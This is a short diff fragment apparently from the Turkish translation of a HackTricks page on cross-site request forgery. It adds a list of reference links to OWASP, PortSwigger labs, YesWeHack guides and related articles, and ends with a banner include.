 - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [CSRF zafiyetleri için nihai rehber (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
+- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
+- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
+- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
+- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
+- [YesWeHack Dojo: Uygulamalı laboratuvarlar](https://dojo-yeswehack.com/)
 
 {{#include ../banners/hacktricks-training.md}}